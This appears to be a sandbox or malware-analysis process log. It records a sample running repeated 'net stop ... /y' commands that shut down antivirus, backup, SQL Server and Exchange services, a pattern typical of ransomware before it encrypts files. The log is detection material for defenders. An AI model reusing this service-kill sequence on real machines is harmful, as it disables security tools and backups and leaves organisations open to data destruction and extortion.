C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Acronis VSS Provider /y3⤵PID:820
-
C:\Windows\SysWOW64\net.exenet stop Enterprise Client Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Enterprise Client Service /y3⤵PID:268
-
C:\Windows\SysWOW64\net.exenet stop Sophos Agent /y2⤵
- Suspicious use of WriteProcessMemory
PID:540 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Agent /y3⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop Sophos AutoUpdate Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos AutoUpdate Service /y3⤵PID:1464
-
C:\Windows\SysWOW64\net.exenet stop Sophos Clean Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Clean Service /y3⤵PID:1896
-
C:\Windows\SysWOW64\net.exenet stop Sophos Device Control Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Device Control Service /y3⤵PID:1080
-
C:\Windows\SysWOW64\net.exenet stop Sophos File Scanner Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos File Scanner Service /y3⤵PID:1456
-
C:\Windows\SysWOW64\net.exenet stop Sophos Health Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Health Service /y3⤵PID:1808
-
C:\Windows\SysWOW64\net.exenet stop Sophos MCS Agent /y2⤵PID:1372
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos MCS Agent /y3⤵PID:992
-
C:\Windows\SysWOW64\net.exenet stop Sophos MCS Client /y2⤵PID:1608
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos MCS Client /y3⤵PID:2032
-
C:\Windows\SysWOW64\net.exenet stop Sophos Message Router /y2⤵PID:1772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Message Router /y3⤵PID:1880
-
C:\Windows\SysWOW64\net.exenet stop Sophos SafeStore Service /y2⤵PID:1964
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos SafeStore Service /y3⤵PID:1700
-
C:\Windows\SysWOW64\net.exenet stop Sophos Protection System Service /y2⤵PID:2012
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Protection System Service /y3⤵PID:2040
-
C:\Windows\SysWOW64\net.exenet stop Sophos Web Control Service /y2⤵PID:1748
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Sophos Web Control Service /y3⤵PID:1428
-
C:\Windows\SysWOW64\net.exenet stop SQLsafe /y2⤵PID:1040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLsafe /y3⤵PID:1244
-
C:\Windows\SysWOW64\net.exenet stop SQLsafe Filter Service /y2⤵PID:1592
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLsafe Filter Service /y3⤵PID:1312
-
C:\Windows\SysWOW64\net.exenet stop Symantec System Recovery /y2⤵PID:1752
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Symantec System Recovery /y3⤵PID:756
-
C:\Windows\SysWOW64\net.exenet stop Veeam Backup Service Data Catalog /y2⤵PID:652
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y3⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop AcronisAgent /y2⤵PID:1248
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:616
-
C:\Windows\SysWOW64\net.exenet stop AcrSch2Svc /y2⤵PID:1920
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:1092
-
C:\Windows\SysWOW64\net.exenet stop Antivirus /y2⤵PID:1084
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Antivirus /y3⤵PID:1532
-
C:\Windows\SysWOW64\net.exenet stop ARSM /y2⤵PID:1216
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ARSM /y3⤵PID:1808
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentAccelerator /y2⤵PID:824
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵PID:1940
-
C:\Windows\SysWOW64\net.exenet stop BackupExecAgentBrowser /y2⤵PID:1688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:1720
-
C:\Windows\SysWOW64\net.exenet stop BackupExecDeviceMediaService /y2⤵PID:1880
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDeviceMediaService /y3⤵PID:684
-
C:\Windows\SysWOW64\net.exenet stop BackupExecJobEngine /y2⤵PID:700
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵PID:1956
-
C:\Windows\SysWOW64\net.exenet stop BackupExecManagementService /y2⤵PID:916
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:1240
-
C:\Windows\SysWOW64\net.exenet stop BackupExecRPCService /y2⤵PID:1436
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵PID:956
-
C:\Windows\SysWOW64\net.exenet stop BackupExecVSSProvider /y2⤵PID:1312
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:472
-
C:\Windows\SysWOW64\net.exenet stop bedbg /y2⤵PID:1524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop bedbg /y3⤵PID:1256
-
C:\Windows\SysWOW64\net.exenet stop DCAgent /y2⤵PID:1464
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DCAgent /y3⤵PID:1896
-
C:\Windows\SysWOW64\net.exenet stop EPSecurityService /y2⤵PID:1648
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y3⤵PID:1456
-
C:\Windows\SysWOW64\net.exenet stop EPUpdateService /y2⤵PID:1728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y3⤵PID:1808
-
C:\Windows\SysWOW64\net.exenet stop EraserSvc11710 /y2⤵PID:1192
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y3⤵PID:1940
-
C:\Windows\SysWOW64\net.exenet stop EsgShKernel /y2⤵PID:1236
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y3⤵PID:1720
-
C:\Windows\SysWOW64\net.exenet stop FA_Scheduler /y2⤵PID:1876
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y3⤵PID:684
-
C:\Windows\SysWOW64\net.exenet stop IISAdmin /y2⤵PID:880
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISAdmin /y3⤵PID:1956
-
C:\Windows\SysWOW64\net.exenet stop IMAP4Svc /y2⤵PID:1740
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IMAP4Svc /y3⤵PID:1240
-
C:\Windows\SysWOW64\net.exenet stop macmnsvc /y2⤵PID:1428
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop macmnsvc /y3⤵PID:1624
-
C:\Windows\SysWOW64\net.exenet stop masvc /y2⤵PID:1680
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop masvc /y3⤵PID:268
-
C:\Windows\SysWOW64\net.exenet stop MBAMService /y2⤵PID:360
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MBAMService /y3⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop MBEndpointAgent /y2⤵PID:548
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MBEndpointAgent /y3⤵PID:572
-
C:\Windows\SysWOW64\net.exenet stop McAfeeEngineService /y2⤵PID:392
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeEngineService /y3⤵PID:1184
-
C:\Windows\SysWOW64\net.exenet stop McAfeeFramework /y2⤵PID:1660
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeFramework /y3⤵PID:1708
-
C:\Windows\SysWOW64\net.exenet stop McAfeeFrameworkMcAfeeFramework /y2⤵PID:1340
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y3⤵PID:1692
-
C:\Windows\SysWOW64\net.exenet stop McShield /y2⤵PID:1012
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McShield /y3⤵PID:1700
-
C:\Windows\SysWOW64\net.exenet stop McTaskManager /y2⤵PID:1668
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McTaskManager /y3⤵PID:1588
-
C:\Windows\SysWOW64\net.exenet stop mfemms /y2⤵PID:1240
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfemms /y3⤵PID:1624
-
C:\Windows\SysWOW64\net.exenet stop mfevtp /y2⤵PID:1596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfevtp /y3⤵PID:524
-
C:\Windows\SysWOW64\net.exenet stop MMS /y2⤵PID:1228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MMS /y3⤵PID:616
-
C:\Windows\SysWOW64\net.exenet stop mozyprobackup /y2⤵PID:1896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y3⤵PID:1456
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer /y2⤵PID:1808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y3⤵PID:992
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer100 /y2⤵PID:1692
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y3⤵PID:1700
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer110 /y2⤵PID:1868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y3⤵PID:1956
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeES /y2⤵PID:956
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y3⤵PID:668
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS /y2⤵PID:472
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y3⤵PID:808
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMGMT /y2⤵PID:1916
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y3⤵PID:1380
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMTA /y2⤵PID:992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y3⤵PID:1700
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA /y2⤵PID:972
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y3⤵PID:552
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSRS /y2⤵PID:524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y3⤵PID:1256
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ SQL_2008 /y2⤵PID:616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y3⤵PID:1484
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ SYSTEM_BGC /y2⤵PID:2000
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y3⤵PID:1956
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ TPS /y2⤵PID:552
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ TPS /y3⤵PID:1256
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP $ TPSAMA /y2⤵PID:268
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y3⤵PID:1184
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ BKUPEXEC /y2⤵PID:888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y3⤵PID:572
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ ECWDB2 /y2⤵PID:808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y3⤵PID:1380
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PRACTICEMGT /y2⤵PID:1700
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y3⤵PID:684
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PRACTTICEBGC /y2⤵PID:1380
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y3⤵PID:684
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ PROFXENGAGEMENT /y2⤵PID:572
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y3⤵PID:1484
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SBSMONITORING /y2⤵PID:684
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y3⤵PID:2056
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SHAREPOINT /y2⤵PID:2064
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y3⤵PID:2084
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SQL_2008 /y2⤵PID:2092
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y3⤵PID:2112
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ SYSTEM_BGC /y2⤵PID:2120
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y3⤵PID:2140
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ TPS /y2⤵PID:2148
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ TPS /y3⤵PID:2168
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ TPSAMA /y2⤵PID:2176
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ TPSAMA /y3⤵PID:2196
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ VEEAMSQL2008R2 /y2⤵PID:2204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y3⤵PID:2224
-
C:\Windows\SysWOW64\net.exenet stop MSSQL $ VEEAMSQL2012 /y2⤵PID:2232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y3⤵PID:2252
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher /y2⤵PID:2260
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher /y3⤵PID:2280
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ PROFXENGAGEMENT /y2⤵PID:2288
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y3⤵PID:2308
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SBSMONITORING /y2⤵PID:2316
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y3⤵PID:2336
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SHAREPOINT /y2⤵PID:2344
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y3⤵PID:2364
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SQL_2008 /y2⤵PID:2372
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y3⤵PID:2392
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ SYSTEM_BGC /y2⤵PID:2400
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y3⤵PID:2420
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ TPS /y2⤵PID:2428
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y3⤵PID:2448
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher $ TPSAMA /y2⤵PID:2456
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y3⤵PID:2476
-
C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER /y2⤵PID:2484
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y3⤵PID:2504
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper100 /y2⤵PID:2512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y3⤵PID:2532
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerOLAPService /y2⤵PID:2540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y3⤵PID:2560
-
C:\Windows\SysWOW64\net.exenet stop MySQL80 /y2⤵PID:2568
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL80 /y3⤵PID:2588
-
C:\Windows\SysWOW64\net.exenet stop MySQL57 /y2⤵PID:2596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL57 /y3⤵PID:2616
-
C:\Windows\SysWOW64\net.exenet stop ntrtscan /y2⤵PID:2624
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ntrtscan /y3⤵PID:2644
-
C:\Windows\SysWOW64\net.exenet stop OracleClientCache80 /y2⤵PID:2652
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleClientCache80 /y3⤵PID:2672
-
C:\Windows\SysWOW64\net.exenet stop PDVFSService /y2⤵PID:2680
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:2700
-
C:\Windows\SysWOW64\net.exenet stop POP3SVC /y2⤵PID:2708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop POP3SVC /y3⤵PID:2728
-
C:\Windows\SysWOW64\net.exenet stop ReportServer /y2⤵PID:2736
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer /y3⤵PID:2756
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ SQL_2008 /y2⤵PID:2764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y3⤵PID:2784
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ SYSTEM_BGC /y2⤵PID:2792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y3⤵PID:2812
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ TPS /y2⤵PID:2820
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ TPS /y3⤵PID:2840
-
C:\Windows\SysWOW64\net.exenet stop ReportServer $ TPSAMA /y2⤵PID:2848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer $ TPSAMA /y3⤵PID:2868
-
C:\Windows\SysWOW64\net.exenet stop RESVC /y2⤵PID:2876
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RESVC /y3⤵PID:2896
-
C:\Windows\SysWOW64\net.exenet stop sacsvr /y2⤵PID:2904
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sacsvr /y3⤵PID:2924
-
C:\Windows\SysWOW64\net.exenet stop SamSs /y2⤵PID:2932
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SamSs /y3⤵PID:2952
-
C:\Windows\SysWOW64\net.exenet stop SAVAdminService /y2⤵PID:2960
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVAdminService /y3⤵PID:2980
-
C:\Windows\SysWOW64\net.exenet stop CABService /y2⤵PID:2988
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CABService /y3⤵PID:3008
-
C:\Windows\SysWOW64\net.exenet stop SDRSVC /y2⤵PID:3016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SDRSVC /y3⤵PID:3036
-
C:\Windows\SysWOW64\net.exenet stop SepMasterService /y2⤵PID:3044
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SepMasterService /y3⤵PID:3064
-
C:\Windows\SysWOW64\net.exenet stop ShMonitor /y2⤵PID:1708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShMonitor /y3⤵PID:2076
-
C:\Windows\SysWOW64\net.exenet stop Smcinst /y2⤵PID:2084
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Smcinst /y3⤵PID:2112
-
C:\Windows\SysWOW64\net.exenet stop SmcService /y2⤵PID:2100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SmcService /y3⤵PID:2128
-
C:\Windows\SysWOW64\net.exenet stop SMTPSVC /y2⤵PID:2172
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SMTPSVC /y3⤵PID:2200
-
C:\Windows\SysWOW64\net.exenet stop SNAC /y2⤵PID:2192
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SNAC /y3⤵PID:2220
-
C:\Windows\SysWOW64\net.exenet stop SntpService /y2⤵PID:2244
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SntpService /y3⤵PID:2272
-
C:\Windows\SysWOW64\net.exenet stop sophossps /y2⤵PID:2280
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophossps /y3⤵PID:2308
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ BKUPEXEC /y2⤵PID:2296
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y3⤵PID:2324
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ ECWDB2 /y2⤵PID:2368
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y3⤵PID:2396
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PRACTTICEBGC /y2⤵PID:2388
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y3⤵PID:2416
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PRACTTICEMGT /y2⤵PID:2440
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y3⤵PID:2468
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ PROFXENGAGEMENT /y2⤵PID:2476
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y3⤵PID:2504
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SBSMONITORING /y2⤵PID:2492
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y3⤵PID:2520
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SHAREPOINT /y2⤵PID:2564
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y3⤵PID:2592
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SQL_2008 /y2⤵PID:2584
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y3⤵PID:2612
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ SYSTEM_BGC /y2⤵PID:2636
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y3⤵PID:2664
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ TPS /y2⤵PID:2672
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ TPS /y3⤵PID:2700
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ TPSAMA /y2⤵PID:2688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y3⤵PID:2716
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ VEEAMSQL2008R2 /y2⤵PID:2760
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y3⤵PID:2788
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent $ VEEAMSQL2012 /y2⤵PID:2780
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y3⤵PID:2808
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser /y2⤵PID:2832
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y3⤵PID:2860
-
C:\Windows\SysWOW64\net.exenet stop SQLSafeOLRService /y2⤵PID:2868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSafeOLRService /y3⤵PID:2896
-
C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT /y2⤵PID:2884
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y3⤵PID:2912
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY /y2⤵PID:2956
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY /y3⤵PID:2984
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY $ ECWDB2 /y2⤵PID:2976
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y3⤵PID:3004
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter /y2⤵PID:3028
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter /y3⤵PID:3056
-
C:\Windows\SysWOW64\net.exenet stop SstpSvc /y2⤵PID:3064
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SstpSvc /y3⤵PID:2076
-
C:\Windows\SysWOW64\net.exenet stop svcGenericHost /y2⤵PID:2056
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop svcGenericHost /y3⤵PID:2072
-
C:\Windows\SysWOW64\net.exenet stop swi_filter /y2⤵PID:2160
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_filter /y3⤵PID:2196
-
C:\Windows\SysWOW64\net.exenet stop swi_service /y2⤵PID:2188
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_service /y3⤵PID:2224
-
C:\Windows\SysWOW64\net.exenet stop swi_update_64 /y2⤵PID:2248
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop swi_update_64 /y3⤵PID:2300
-
C:\Windows\SysWOW64\net.exenet stop TmCCSF /y2⤵PID:2308
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TmCCSF /y3⤵PID:2324
-
C:\Windows\SysWOW64\net.exenet stop tmlisten /y2⤵PID:2340
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop tmlisten /y3⤵PID:2360
-
C:\Windows\SysWOW64\net.exenet stop TrueKey /y2⤵PID:2408
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKey /y3⤵PID:2480
-
C:\Windows\SysWOW64\net.exenet stop TrueKeyScheduler /y2⤵PID:2436
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKeyScheduler /y3⤵PID:2508
-
C:\Windows\SysWOW64\net.exenet stop TrueKeyServiceHelper /y2⤵PID:2532
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TrueKeyServiceHelper /y3⤵PID:2548
-
C:\Windows\SysWOW64\net.exenet stop UI0Detect /y2⤵PID:2592
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UI0Detect /y3⤵PID:2612
-
C:\Windows\SysWOW64\net.exenet stop VeeamBackupSvc /y2⤵PID:2608
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamBackupSvc /y3⤵PID:2644
-
